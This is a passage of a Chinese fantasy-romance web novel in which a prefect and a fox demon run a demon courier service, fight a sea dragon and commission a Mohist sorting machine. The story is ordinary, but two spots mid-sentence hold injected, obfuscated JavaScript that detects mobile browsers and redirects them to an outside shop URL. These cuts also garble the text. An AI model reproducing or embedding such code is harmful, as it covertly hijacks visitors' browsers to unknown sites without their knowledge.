她从没见过这样的鱼,忍不住想伸手去够。那群鱼嗖地散开,又慢慢聚拢,隔着气泡歪着脑袋打量她。 她瞥了眼暗黑深海处,忽觉有双眼睛盯着她看。 奇怪。 玩着玩着,她忽然想起正事,开始在心里默念宣传词:“嗨,妖界快递!妖界速递!使命必达,麻烦给个好评,这是海报。” 气泡快要撑不住时,阿蛟把她拖上岸。李昭宁刚冒出头,却见萧蘅已化作狐狸形态,踏水而来,一把将她托上背。狐爪轻点水面,留下圈圈点点,宛如步步生莲,几下便跃过河滩。 她感叹道:“你会轻功水上漂哇?” 萧蘅心中暗喜,却冷哼一声,狐狸耳朵紧跟着动了几下:“没见过世面。” 李昭宁没和他计较,因昨日睡得晚,此时有些疲惫,便俯身抱着萧蘅的腰,打算眯一会。休息前还不忘摸摸他的颈毛和尾巴。 萧蘅一怔,有些僵硬,但碍于面子没说话。 【叮!恋值增加99。截至目前共198。请继续保持!】 萧蘅:? 难道让李昭宁摸摸自己狐狸毛,夸她几句就能增加恋值? 这么简单? 没过多久,前方驻军营地已隐约可见。 李昭宁来了精神,扬声吆喝:“家书来了!妖界速递……” 可喊到一半,她愣住了。 驻军们一个个脸色慌张,有人望向她身后,有人拔刀后退。 “轰……” 身后巨浪滔天而起。 河水翻涌如狂,黑浪卷着腥风扑来。浪头之上,立着一个湿漉漉的身影,长约三丈,通体青黑,腹白,四爪,头上生角,浑身鳞片闪闪刺眼。 竟然是一条蛟龙! 李昭宁惊讶无比:这怎么还有妖怪啊! 它眼目渗寒光,万分凶神恶煞,仰天嘶吼后扭着身子冲他们飞来…… 14. 东海蛟龙(二) 萧蘅一把拉住李昭宁往后退,雪绸白玉扇生气风,席卷而上,迫使那青黑蛟龙退开。 然而下一秒,青黑蛟龙一猛子扎进河内,河面顿时炸开,紧接着一道青黑色旋风卷着浪花破水而出,旋风中青黑蛟龙再次俯冲而下,直奔李昭宁面门。 “小心!” 萧蘅展扇阻挡,同一时间阿蛟吐出一个大大的气泡,将李昭宁带离战场。 “不自量力。” 萧蘅迎上,在对阵一刻忽的化成一团气风没了身影,紧接着雪绸白玉扇分身出无数影子,从四面八方悬切而来,每个方位连接起来,一到无形的力量将青黑蛟龙狠狠捆住。 “我来助力!”阿蛟疾速蠕动身体,速度疾如闪电,扭身化为人鱼状,河内直直伸出无数绿藤,四缠八绕捆住蛟龙。 青黑蛟龙甩尾不住地反抗,每一声嘶吼便唤得河水高涨,巨浪涛涛,直冲河岸! 鱼虾等等随着河浪被噼里啪啦砸在岸上,银光乱跳。紧随其后的是更怪的东西,青面鱼身,眼珠在脸侧,急速地眨巴着,它们还生着四肢,往岸上爬,嘴里发出嘶嘶的低鸣。 兵士们举矛便刺对峙。李昭宁从泡泡中跳上岸,也随之拔剑,疾步冲过去。 “别杀生!赶回去即可!” 那群兵士愣住。李昭宁已弯腰抱起一条乱蹦的大鱼,两步趟进浅水,把它扔回河里。还有那诡异的四肢鱼,虽瞧着可怕,可反应迟钝,没有杀伤力,只会“呜呜呜”嘶吼。 “愣着做什么?”李昭宁回头朝兵士们喊,“赶回去,别伤了它们!” 兵士们面面相觑,有人收起长矛,学着她的样子抱起鱼往河里扔。那几条鱼尾四肢的怪物被七手八脚推回水里,溅起一片片水花。它们入水后反倒不挣扎了,沉下去之前,齐刷刷扭头看了众人一眼。 那眼神不像鱼,也不像人。 很是奇怪。 青黑蛟龙被萧蘅和阿蛟捆住动弹不得,便由嘴吐出紫光,射向岸边一只小鱼,刹那间,那鱼突然膨胀变大,变成一只奇形怪状怪物,它见她过来,嘶叫一声,挥爪便撕。 李昭宁侧身避开,剑锋顺势一转,提剑迎上以剑脊拍在它腕上。那怪物吃痛,后退半步。 “你是何妖?”她喊道。 无应答。 “你听得懂人话吗?”她再喊道。 那怪物喉咙里发出咕噜声,却不肯退。它绕过李昭宁,又要往营地里冲。 兵士们趁机重整阵型,矛阵压上,将怪物逼回河边。 萧蘅感受到一股幻气,皱眉道:“怕是受幻力影响。” “看来,寒阴虚境有不少幻兽破解封印佯装为妖出逃人间。” 话音落,萧蘅掐诀,扇内气风纷纷如倾盆大雨直下大河,顷刻间,大河上下风平浪静。 蛟龙接着长尾横扫,他翻身避开,衣袍如风,青丝飘如水,整个人好似夜空一轮明月。 李昭宁站在齐膝的水里,高高竖起的马尾辫并未被水浪击垮,她虽喘着粗气,背仍挺如松,紧紧盯着渐渐平息的河面。 风停了。浪退了。 青黑蛟龙意味深长看了眼萧蘅,便化成紫烟消失了。 紫烟过后,一条头上长犄角的小鱼落在岸边。 岸上还剩湿漉漉的泥沙和一地狼藉的水迹。 李昭宁望着河面,眉心紧锁:“又是幻兽。” 她拔剑从侧翼切入,剑脊轻轻拍在犄角小鱼身侧,可它一动不动。 于是她便上手试呼吸。 死了。 萧蘅落地收扇,道:“被幻兽长久附身就是这样。” “被完全吸走了气,只剩下一具躯壳。” “真是奇了怪了,”李昭宁剑尖微垂,盯着它,“你感受不到幻兽气息?” “它藏于深海里,我确实感知不到。” 萧蘅摇头,目光却还盯着河面,眉心紧锁。 末了,他道:“我先离开一会,保护好自己。” 然后化作一阵白风消失在天边角。 李昭宁回头望去。 兵士们持矛喘息,有人跌坐在地,许是还在消化刚才发生的事情。缓过神的兵士则你看看我,我看看你,疑惑不解。他们本以为有敌人埋伏在河内,没想到竟然是一只青黑蛟龙?! 有人小声嘀咕: “这……到底怎么了?” 只见一位军卫快步走来,朝李昭宁抱拳:“多谢二位出手!敢问尊驾是……” “我是蓟州牧李昭宁,”李长歌收剑入鞘,从口袋中拿出令符和海报,看向军卫,“我们这次前来是送快递的。” “快递?”军卫蓦然一愣。 “对。是蓟州城父老乡亲们寄来的家书。”说罢,李昭宁又包裹里拿出一沓信件,还好有阿蛟保护,一点水没湿。 正说着,不远处军营的帐帘掀开,一个身披铠甲的校尉大步走进来。他目光锐利,扫过李昭宁和阿蛟,停在李昭宁腰间的剑上。 “二位。”他开口,声音沉稳,“在下东海驻军校尉沈琅。敢问二位从何而来,往何处去?” 话音刚落,方才那军卫附耳道:“校尉,她就是新上任的州牧。” “哦?”沈琅狂野的眉毛一挑。 李昭宁起身还礼:“是这样,校尉大人,这是我们新创立的妖界速递,由杻阳山山中小妖帮我们寄书信、运输物资等等,合称快递。” 她笑盈盈地摊开手,三言两语解释道: “既和平,又快速。而且这些家书都是昨天写好的,让士兵们瞧瞧,写一下,快的话我们今晚就能送回家。” 大家一听,纷纷抬眼望向她,目光里满是惊异与好奇,态度恭敬中带着几分警惕。 毕竟这两人来得突然,又身手不凡,还伴随着方才那青黑蛟龙。有人悄悄握紧了刀柄,也有人忍不住往前探了探身子。但沈琅似乎正要开口盘问。 李昭宁却抢先一步从怀中掏出一沓信纸,朝其中一个士兵招呼:“兄弟们,过来领家书!” 众人面面相觑,没人动弹。 一个年轻兵士壮着胆子凑过来,接过一信封,看到署名那一刻,眼眶倏地红了。 “是我娘!”他声音发抖。 旁人紧接着围过去,七嘴八舌地问。李昭宁把信分发出去,一封封递到兵士手里。有人捧信哽咽,有人笑着擦泪,还有人把信贴高高举起,让微弱的太阳照耀亲人的一行行充满爱的字迹,半天说不出话。 气氛渐渐松快起来。 一个老兵端着酒囊走过来,朝李昭宁一递:“姑娘,喝一口!方才那蛟龙,多亏你们。俺们这破地方,送信就要半月,而且大河不好渡,那边的驿站总是攒着半年一起送,你们咋想起送信的?” 李昭宁接过酒囊,抿了一小口,辣得直皱眉:“为人民服务啊!有了小妖帮忙,这些难度统统不在乎下。” “妖,就一定可信?” “你放心,我们妖怪教化学院马上就好了,到时候小妖们识字明理、懂规矩,统一安排他们就业,不止快递员,到时候还有种田、修路、送货上门,啥啥样样都能干。”她拍着胸脯,信心满满地答道。 老兵哈哈一笑,也不追问,但明显的不信,他们打仗的,都见过太多生死,知道这世上从没有白来的好事。 他转头朝阿蛟举囊,打趣道:“这位小兄台,你也来一口!没想到你这么个 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有军卫还不死心,像逗小孩似的问它喜欢妈妈还是爸爸一样:“如果有一天,人与妖兵戎相见,你会选择帮谁?” “人!” “为什么?” “因为我喜欢项羽,霸王啊!”阿蛟理直气壮,可可爱爱。 众人一愣,随即哄笑。李昭宁扶额,大虞到底给它讲了多少的故事? “那万一是人挑起的战争呢?” 阿蛟罕见地噎住,眨巴眨巴大眼睛。 说实话,它真不知道,憋了半天,憋出一句:“你们干嘛都往坏处想?和平和平……要活在当下!你看,现在我们不是一起喝酒聊天,挺开心的嘛!” 他忽然想起什么,一拍脑门,从芝兰给他的小包裹里拿出点心和海报,转身朝军卫们招爪:“对了对了,妖界速递!你们需要回信的抓紧写,写好了交给我们,明早就能到家!包快包稳,送达不了不要钱!” 军卫们被他这突如其来的广告词逗得前仰后合,有人笑着掏纸,有人起哄让他再说一遍,说得头头是道,倒像摆摊经营的小贩。 “你们需要回信的快一些哦,我们要今早回去,州里还有一堆事等着呢。快递堆成山,我还要等着上课呢,忙得很!”阿蛟见自己把这一群人都笑了,双爪叉腰,嘚瑟得甩尾。 李昭宁现在真想拥有一部手机,将这画面记录下来。 忽然,她看见一言不发的沈琅,趁军卫们围着阿蛟热热闹闹,走到了她身边。 只听他低声道:“我知道人分善恶,妖也是如此。但毕竟不是一个种族,况且他们有妖力,我们没有。他们寿命之广甚至无限,我们不可以。你……千万要当心。” 李昭宁侧头看他,认真道:“好。校尉是支持我的想法吗?” 沈琅沉默片刻,望着那边正被军卫们围着灌酒的阿蛟,目光复杂。 “我只是在想……”他顿了顿,“不想要战争。不论何种生灵,活着都不容易。只要大家肯一同为和平出份力,哪怕一点点,也是好的。” 李昭宁注视着他,忽然笑了。 “校尉这话,比我说得好。” 他摇摇头,转身要走,又停住,背对着她低声补了一句: “天下大同。你们慢慢来,我先守着这片海。” 李昭宁望着他的背影,没再说话。 远处,阿蛟被灌得直呸呸,军卫们笑作一团阳光虽微弱,但映在每个人脸上,暖融融的。 她转头望向大河。 不知萧蘅去哪里了。 还有幻兽这一难题。 15. 墨家机关术 第一批书信完整送达。 百姓们也是惊奇无比,本来要半年后才能收到的书信,竟然只隔了一晚上。 李昭宁看着百姓们喜极而泣的激动模样,心中更是欢喜到无法用言语来形容。 有了妖界速递,就像有了手机发消息,随时随地都能捎话,只不过有些许时差,但比那半年一送的驿站,已是天壤之别。 东海驿站倒没什么意见,毕竟送信要渡大河,万一遇险怎么办,而且他们工资很低,不送物资的时候早去干别的活了。 与此同时,妖怪教化学院也正式启动。蓟州书薄张超本也是反对,但凭借李昭宁的三寸不烂之舌给说服了。 蓟州城门口,新来的小妖们探头探脑。 因为考虑农忙,这一批小妖大多数都是花草树木小妖,帮助百姓收获和再播种。也有两只动物小妖下山。 一只穿山甲,缩着脖子,眼神憨厚,看什么都新鲜。一匹狼,皮毛油亮,下巴抬得老高,又很活泼,在府里上蹿下跳。 一个憨,一个拽。 李昭宁给他们起了名字,金刚和狼少爷。 起金刚呢,是因为她只在葫芦娃动画片里见过穿山甲,葫芦小金刚嘛,这金刚也符合它一身的甲片。狼少爷呢,妖如其名,活脱脱一位大少爷。 开了个好头,又正赶上农忙,再加上天边那几团乌云明摆着要下雨。百姓们纷纷下单送物资。 反正免费,超重和超距离增加灵果而已,而且灵果对他们来说无足轻重,在院子里撒上种子,定时浇水,自己就能长。 而且让自己家孩子跑一趟妖界速递,就跟让娃去村口打酱油似的,顺手的事。 然而事情当然不可能一帆风顺。 浮雀送鸡蛋,飞得好好的,一转弯,筐子撞上树枝。它使妖力去扶,结果捏不准轻重。 啪一声。 蛋黄顺着羽毛往下淌。 对方找上门来的时候,李昭宁当众道歉,赔钱,鞠躬。浮雀则躲在她身后,脑袋埋进翅膀里,只露两只眼睛,一眨一眨地偷看,支支吾吾道:“对不起人。妖不是故意的。” 之后浮雀带着芝兰做的点心上门亲自赔罪,可又有百姓投诉:“妖怪送的东西,谁敢吃?谁敢用?” 李昭宁琢磨了一宿,又在几只小妖的帮助下,第二天贴出告示: 凡贵重物品、吃食、药物,收件人可预先送来一件“带气息”的物件,由小妖锁定气息。包裹送达时,若非此人亲自打开,谁都动不了。 有胆大的百姓试了试,送了一篮子鸡蛋回娘家。因为预先给小妖锁了他娘亲的气息,所以除了他娘亲,论谁来,怎么都拿不出鸡蛋。 只有他娘亲出马时,篮子上的封印闪了一下,然后才松开。 “神了。”那人这么说道。 消息传开,订单又涨了一波。 还有人说“先试后付” 怕东西坏的,可以先验货再给灵果。这是后话了,等跑顺了再推。 从东海那日算起,萧蘅半日后就回来了。什么事也没有的样子。他去告知县府明后两天的天气预报,回来了就闷闷不乐。 李昭宁问他东海的事,他不答。问他蛟龙的来历,他不答。问他手怎么了,他干脆把袖子一甩,转过身去,留给她一个后脑勺。 比之前蔫了很多。 话变少了,也很少见到他了。 李昭宁知道他的脾气。要面子,打死不肯示弱。 她也不问,只是趁他午休时,轻手轻脚推开门。 房间静悄悄,窗户大开着,只能听到风吹树叶的婆娑声,很轻,很入眠。 榻上的人闭着眼,呼吸均匀。左手垂在榻边,袖口半卷,正好露出手腕到虎口那一截,有几道深红的口子,结了薄痂,边缘还泛着青。应该是被青黑蛟龙抓的吧。 她蹲下来,先是用食指轻轻点了点他的鼻子,想探探他睡没睡着。 她一连点了好下,萧蘅一动没动。 看来是睡了。 她扭开药瓶,取了一小块药膏涂在手背上,抹开后一点一点涂上去。 她忍不住小声念叨: “你啊你……逞什么能。” “跟蛟龙打架手伤了也不说,藏着掖着。你是不是觉得,让人知道了就丢脸?” “硬毛小狐狸。” “这几天,辛苦啦。” 她抬起头,看着他那张睡着的脸,忍不住笑了一下,笑得有点无奈,也有点温柔:“睡觉怎么不变成狐狸呀。” 想摸耳朵和尾巴了。 她站起身,看了看四周,然后把药膏放下,轻手轻脚退出去。 门帘落下,屋里恢复安静。 榻上沉睡的妖却忽地睁开眼睛。 他看着门帘的方向,又低头,看着自己那只刚刚被涂过药的手。 药膏还是凉的,但那一块皮肤,莫名有点烫。 他用拇指轻轻蹭了一下。 又停住。 真是麻烦。 他轻轻一挥手,那伤疤瞬间消失了,一点踪迹不见,甚至比先去还要白净光滑。 窗外,风把院中的银杏树影吹进屋里,晃在他脸上,明明暗暗的。 他却没再闭眼。 【叮!系统提示:恋值再增加520截至目前共619请继续保持!】 ? 这,确定是李昭宁的恋值吗? 他约莫着时间躺了一会儿,然后起身去正堂找李昭宁,转了半圈,没见人影。 芝兰抱着书卷从走廊拐角走来,身后还跟着金刚、狼少爷还有几位小花妖。 狼少爷哒哒哒踏着小爪,晃着尾巴:“你放心芝兰,这几天你按我说的养着小昙花,没过几天就活过来了。” 萧蘅一挑眉,这几位小妖在人间看着比山上开心,便问道:“做什么这么开心?” 狼少爷道:“听故事去。” “原来啊上课。哼,上课有什么好的。” “蓁蓁姑娘说啦,浮雀它们过两天就可以毕业了,我们就是下一届学生了。”狼少爷兴致勃勃和萧蘅说着这一消息。 萧蘅冷不丁弹了狼少爷脑壳:“谁准许你叫李昭宁蓁蓁的?” 狼少爷吃痛抱头:“啊?蓁蓁姑娘说的。” “你还叫?” 萧蘅持雪绸白玉扇,狠狠瞧了瞧狼少爷的嘴筒子。 “哎哟!嗷!狼错了狼错了。” 一旁的芝兰笑了,也看破了萧蘅的心事:“狐狸哥哥,姐姐与浮雀去城东找墨家学徒了,刚走不远,你快些去,兴许还能追上。” “谁说我要找她了。”萧蘅斜了芝兰一眼,眼神不自然飘移,却又支支吾吾道:“行了,我知道了。还有,这事不许和李昭宁说。” 芝兰点点头。 狼少爷:“啊嗷,为什么?” 萧蘅再打:“哪里那么多为什么,我看你们一个个反了天了。在杻阳山乖乖听话,下了山就不知道谁是老大了。” “哎哟!是蓁蓁……昭宁姐姐让我们有不懂的就问啊!” “你还叫姐姐?自己都活了几百年,还有脸叫李昭宁姐姐?” “老大你好凶啊,都不如诸葛军师。” 小狼此话一出,萧蘅停止了手中敲打的动作。 这也是他闷闷不乐的原因。 去了一趟县府预报天气,那里的人都在夸李昭宁和诸葛兰旌配合默契,是整个蓟州城的骄傲。 还说什么他们年龄相仿,天生一对…… 他知道这是不可能的事情,诸葛兰旌心中只有雪狼一人。 可是。 他就是不开心。 - 李昭宁带着浮雀,按照打听来的地址,七拐八绕找到城东一间破旧的小院。 院门半掩,里头堆满了木头、齿轮、半成品的架子,连下脚的地方都没有。一个白发老头蹲在院子中央,正对着一堆零件发呆。 “请问,是墨家传人文老先生吗?” 老头头也不抬:“不是。” “可别人都说您是……” “别人说的不算。”老头终于抬起眼皮,扫了她一眼,又扫了一眼她肩膀上的浮雀,眉头立刻皱起来。这几天城里闹得沸沸扬扬的妖界速递他有所耳闻,觉得荒唐至极。 李昭宁噎了一下。 老头继续低头摆弄零件,一副送客的架势。 浮雀小声啾了一下,李昭宁拍拍它,示意安静,她没走,反而蹲下来。 “老先生,我知道您看不上妖怪。可您听说过妖界速递吗?” 老头手没停。 “就是让小妖们帮忙送信送物资。挺好一事儿,就是吧……”她叹了口气,语气里带着点无奈,“这些小妖吧,有时候毛手毛脚的。” 老头手顿了顿。 “前几天送鸡蛋,飞得好好的,一转弯撞树上了,蛋黄糊一身。赔了钱不说,人家还投诉。”她越说越来劲儿,“我就琢磨,要是有个摔不坏的盒子就好了,怎么摔都不碎。或者说加上保鲜的功能,这样远方的爹娘,就能收到儿女亲手做的吃食了您说是不是?” 老头瞥她一眼,没吭声,但手里的动作慢了。 “还有啊,现在农忙,家家户户下单送东西,再加上马上要入冬,这煤矿也得运,快递堆积成山。于是我们就准备分拣吧,您猜怎么着?小妖把‘浮玉山’看成‘浮王山’...... ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193962|197122||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' .” 浮雀在旁边猛点头。 老头嘴角动了一下,像是要笑,又硬生生憋回去。 “万一哪天送错了,王家的大米进了孙家的锅,那不得打起来?”李昭宁两手一摊,“愁啊,愁得我好几宿没睡好。” 老头放下手里的零件,终于正眼看她。 “你说了半天,就是想让我给你做东西?” 李昭宁嘿嘿一笑:“什么都瞒不过您。” 老头哼了一声,站起来,拍拍身上的木屑。 “这么简单的事儿,也值得你跑一趟?” 李昭宁一愣。 “老夫来秀一手。” - 傍晚,文老的小屋外人头攒动。 一台齐腰高的木制机关立在正中央,通体榫卯结构,没用一个钉子。上头是十二道滑槽,每道槽口刻着地名。浮玉山、东海、南阳……滑槽下方连着齿轮,齿轮又连着一条缓缓转动的传送带。 老头站在旁边,一手搭在机关上,面无表情,但眼角那点得意藏都藏不住。 “这就是分拣机?”有人问。 老头没答话,只朝李昭宁扬了扬下巴。 李昭宁拿起一个包裹,照着上头的地址念:“浮玉山。” 老头手指在某处轻轻一摁,只见那齿轮咔嗒一声响,传送带动了。包裹慢慢往前滑,滑到一道岔口时,一块木板自动弹起,轻轻一拨,包裹顺势拐进“浮玉山”的滑槽里,顺着坡度缓缓落进底下的竹筐。 浮雀落到竹筐前,背上,长啸一声:“啾!浮玉山!启程!” 围观的百姓静了一瞬,然后“哗”地炸开,围着这机器转个不停。 “我的老天爷!” “它咋知道往哪儿走?” “你瞎啊,没看见有人摁吗!” “果然还是李州牧啊!什么新奇玩意都能挖掘出来。” 李昭宁捂嘴偷乐,又见文老从身后搬出一个木箱,普普通通,看着跟寻常货箱没两样。 “还有这个。”他掀开箱盖,“你说的,摔不坏的盒子。” 他随手往箱子里扔了一块石头,然后把盖子一合,往地上一摔。 箱子骨碌碌滚了两圈,停住。 老头打开盖子,石头纹丝不动躺在里头。 “外层硬木,内层软藤,中间夹着晒干的蒲草。鸡蛋放进去,从城楼上扔下来也摔不碎。” 他又指了指箱盖内侧的几片薄铜片。 “这儿,放冰的。盖上盖子,里头能凉三天。送个鲜鱼鲜肉,足够了。” 李昭宁蹲下来,盯着箱子看了半天,然后抬头,眼睛亮得惊人。 “哇塞!就这短短一会儿,您就做完了?!” 老头哼了一声,负手而立:“有手就行。” 人群里笑声四起。 老头脸上的得意终于藏不住了,嘴角弯了又弯,硬撑着一副“这算什么”的表情。可当有个老太太拉着他的手说“大兄弟,你做的这物件,可帮了俺们大忙了”的时候,他眼眶忽然红了一下。 李昭宁看见了,没戳破。 后来她才听人说,老头是几年前被连坐流放到蓟州的。一家老小都没了,只剩他一个人。到这儿之后,心灰意冷,再没碰过机关术。 “本以为这辈子就这样了。”老头望着那群围着分拣机转圈的百姓,声音低下去,“没想到,我这手艺……还能帮上忙。” 李昭宁站到他旁边,没说话,只是咧嘴笑。 老头瞥她一眼:“笑什么?” “高兴啊。”她朝人群扬了扬下巴,“您看他们,多高兴。” 老头顺着她的目光看过去,百姓们围着分拣机,你一言我一语,有人已经开始琢磨“能不能给俺家也做一个”,浮雀领着新下山的小妖们挤在传送带旁边,眼巴巴等着下一个包裹落下来。 他的嘴角终于松开,露出一个不太明显的弧度。然后扭头去和大伙分享经验。 起风了。 李昭宁回头,看见萧蘅不知什么时候站在了人群边缘,正望着这台分拣机。 她走近,道:“什么时候来的,也不说一声,不像你的风格。” “你们人类……”他答非所问,声音淡淡的,“有时候确实挺厉害。” 李昭宁笑出声来,扭头看他。 夕阳光下,她笑得眉眼弯弯,眼下那两团乌青都快盖不住了。这几天她几乎没合眼,又是跑快递又是请墨家学徒,忙得脚不沾地。 萧蘅看了一眼那乌青,眉头几不可察地动了一下。 【叮!系统提示:恋值增加666,截至目前一共1285请继续保持!】 ? 又? 16. 我喜欢她?(一) 现在形势颇为严峻。 那日与青黑蛟龙一战后,萧蘅专程回了趟杻阳山,见了族中几位万年老妖。他们闭目感知许久,给出的答案一致:没有感受到幻兽气息。 两种情况。要么是他们想多了,当年逃出去的幻兽只有寥寥几只;要么就是幻兽皆已找到附体,彻底隐藏了气息。 长老们说会帮忙留意。 萧蘅顺道去见了九头鸡精何照。这家伙倒好,装模作样闭关修炼,把自己摘得清清白白。倒是长老们对他纵容人与妖和平共处颇有微词,话里话外敲打他“莫忘了妖族的本分”。 他只道:又没杀人放火,也没让小妖门受了委屈,就当是人间玩几天,便径自回了蓟州城。 眼下最重要的事情只有一个,就是快快破解虐恋偿还系统。于是萧蘅决定,他要实践一下,这系统的“恋值”,究竟指代的是谁。 试探的办法只有一个。 他亲一亲李昭宁。 嘶。 心脏狂跳不止是什么意思。 那……改成抱抱? 不行不行,会被小妖们笑话。 那就牵手? 假装不小心碰一下手指,总行了吧? 就这么决定了。 可他一连好几天没见着李昭宁。 这家伙脚底生风似的,到处乱跑,早上在城东盯分拣机调试,中午跑去城西看农忙订单,下午要么钻到墨家老头那儿研究什么“保鲜箱二代”,要么就跑去小妖教化学院督察。萧蘅在州府门口蹲了两天,愣是连个人影都没堵着。 小妖教化学院倒是热闹得很。 今儿是算术课。 穿山甲金刚趴在桌上,爪子捏着树枝,对着石板上的“一加一”愁眉苦脸。 “一加一等于……”他想了半天,眼睛一亮,“等于三!” 讲台上临时被抓来代课的小虞扶额:“为何?” “一条鱼,”金刚竖起一根爪子,“加另一条鱼,”又竖起一根,“它们会生小鱼呀!所以等于三!” 底下小妖纷纷点头,深以为然。 窗外,玄武趴在窗沿上,笑得直抖,差点把墙皮蹭掉一块。阿蛟挤在他旁边,笑得尾巴拍地板跟水似的拍得噼里啪啦。得亏浮雀出去送快递了,不然这窗台根本挤不下。他们妖怪教化学院第一批毕业生,现在正得意扬扬,凑着看热闹。 小虞深吸一口气,努力维持镇定:“那……一只穿山甲加一只穿山甲,等于几?” 穿山甲认真思考:“如果是公的和母的,以后等于好多只。如果是母的和母的,公的和公的那还是两只。” 小虞:“…………” 玄武一只黑熊怪笑出了猪叫,阿蛟也是,两只妖在走廊滚来滚去。萧蘅本来堵李昭宁,却将这一场面尽收眼底,有点无语地扬了扬嘴角。 此刻他没有了找不到李昭宁的失落,反而希望她别来妖怪教化学院。 太丢妖脸了。 * 下午是诸葛兰旌的课。 他今日讲的是“人类风俗人情”。他一袭青衫立在讲台前,不紧不慢,语调温和。 “送包裹时,敲门要轻。尤其是清晨和傍晚,别吓着里头的小孩和老人。” 小妖们纷纷记笔记。(虽然但是,鬼画符也算笔记吧) “收件时要说‘谢谢’。这是人类的礼数。若是人家请你进屋喝口水,要记得把爪子擦干净。” 狼少爷举手:“要是人家不请我们进屋呢?” “那就在门口等,别探头探脑往里瞅。” 窗边忽然飘来一道阴阳怪气的声音:“你们人类,规矩真多。”萧蘅倚着窗框,把玩着手中的雪绸白玉扇。这是他守株待兔的第二个下午,依旧赌错了,不见李昭宁,索性也开摆了,过来凑个热闹。 诸葛兰旌含笑不语。 这时,刚跟着玄武送完快递回来的李昭宁从门外探进半个脑袋,正听见这句,立刻瞪过去:“你不说话没人把你当哑巴。” 萧蘅猛然回头,正对李昭宁的目光。可算等到了,他嘴角挂着若有若无的笑,目光却在她脸上停了一瞬。眼下乌青淡了些,精神头倒是足。 李昭宁没注意到,转身进了屋,跟诸葛兰旌点头打了个招呼,然后蹲到后排小妖旁边,小声问学得怎么样,有不会的问题一定要问。 萧蘅就那么在窗框上靠着,没走。 有只小妖回头瞅他:“老大,你来干啥,是有什么任务吗?” “路过。”萧蘅淡淡地瞥它一眼,用妖力敲打了一下它的脑袋,要它安心学习。 小妖挠挠头,没再问。 将一切尽收眼底的狼少爷悄悄用尾巴戳了戳金刚,压低声音:“老大上午‘路过’三回了。” * 一连数日,萧蘅“路过”教化学院的频率,高得连他自己都觉得离谱。 可李昭宁每次都在忙,不是在跟芝兰和小虞说话,就是在跟诸葛兰旌对账本,或者蹲在院子里帮小妖们认字。偶尔抬头看见他,也就远远点个头,然后继续低头忙活。 他连手指都没碰着。 这天傍晚,他终于在西街口堵住了人。 李昭宁刚从芝兰小姨家出来,手里拎着一篮子青菜,嘴里还在念叨“这个时节的莴笋最嫩”。一抬头,看见萧蘅站在巷子口,高高的,比这儿的大部分矮墙还要高出一个头,夕阳把他半边脸镀成淡金色,竟然少了平日里的拽劲。 “哟。”她招呼了一声:“你怎么在这儿?” “……路过。” 李昭宁眨眨眼,没戳穿他。这条巷子是死胡同,路过的唯一可能是走错了。 萧蘅显然也意识到这借口有多烂,干脆岔开话题:“手里拎的什么?” “菜。芝兰小姨送的,这还是芝兰奶奶以前种的,现在她自己在打理。”李昭宁回头看了还在和小姨道别的芝兰,忽然想起什么:“对了,芝兰说想学机关术,想当分拣员。” 萧蘅挑眉:“那丫头?” “嗯。走出来了吧,大概。”李昭宁笑了笑:“小花妖那事之后,我以为她要消沉很久。结果前几天她自己跑来找我,说想学点东西,想做点事。说……” 她顿了顿。 “说小花妖替她活了那么久,她得替小花妖好好活着。” 萧蘅没说话。 巷子里很静,夕阳把两人的影子拉得老长。 李昭宁忽然抬头看他:“对了,你那天去东海,手受伤了,我给你的要后来涂了没?” 萧蘅下意识把手往袖子里缩了缩:“没事。” “少来。”李昭宁把菜篮子往他手里一塞,从怀里摸出一个小瓷瓶,“拿着,我找文老配的,比普通金疮药好使。他说墨家古方,加了点灵草。你别瞪我,没多少灵草,就一点点。” 萧蘅低头看着手里的瓷瓶,没动。 他其实不需要,自己挥挥手的事情,可是……还是这么接下了。 “拿着呀。”李昭宁催他,“我还有事,先走了。你带着芝兰一块回去吧。” 萧蘅欲言又止,抬起的手滞留在空中。 “记得涂啊!” 她转身挥手,高高束起的马尾在夕阳里甩出一道弧线。她像一阵来去自由的风,什么都不能阻止她来来往往的脚步。她不受任何事情、任何东西影响。而被她吹拂、滋润的万物却离不开她半分 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193963|197122||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 萧蘅站在巷子里,看着她的背影消失在拐角。就这一瞬间,他感觉夕阳往下沉了许多,世界有些变暗了。 他低头,拇指摩挲着那个小瓷瓶。 温的。 被她揣在怀里捂的。 他忽然觉得,那什么破恋值,测不测的,好像也没那么重要。 芝兰和小姨道完别一出院,就看到萧蘅一副魂不守舍的样子。这画面似曾相识,她仰头又低头,终究还是没说出来。 “走吧。你姐姐让我送你回去。”萧蘅见她出来,唤她上前。 萧蘅带着芝兰漫无目的地走。他其实可以“嗖”一下子带芝兰闪回州牧府,但是他没有,就是想走一走。忽见贴榜处围了一圈蓟州百姓,有人念出声: “蓟州新律第七条:凡以暴力加诸家人、致人死伤者,罪同谋财害命,依律论处。胡氏一案,罪犯胡某,曾酗酒虐妻,逼妻害孙,依新律判监十年,即刻执行。” 人群里有人惊叹,有人唏嘘,有人小声嘀咕“早该如此”。 萧蘅站在人群外头,远远地看了一眼那张告示,没说话。 芝兰站在他旁边,也踮脚看着。 萧蘅见她如此费力,干脆用妖力将她举起来,越过人群去看。芝兰也是吓一跳,然后适应了失重感,一字一句读完了帖榜。毕竟也是小孩,她划水般试探着往前飞,结果还真能。 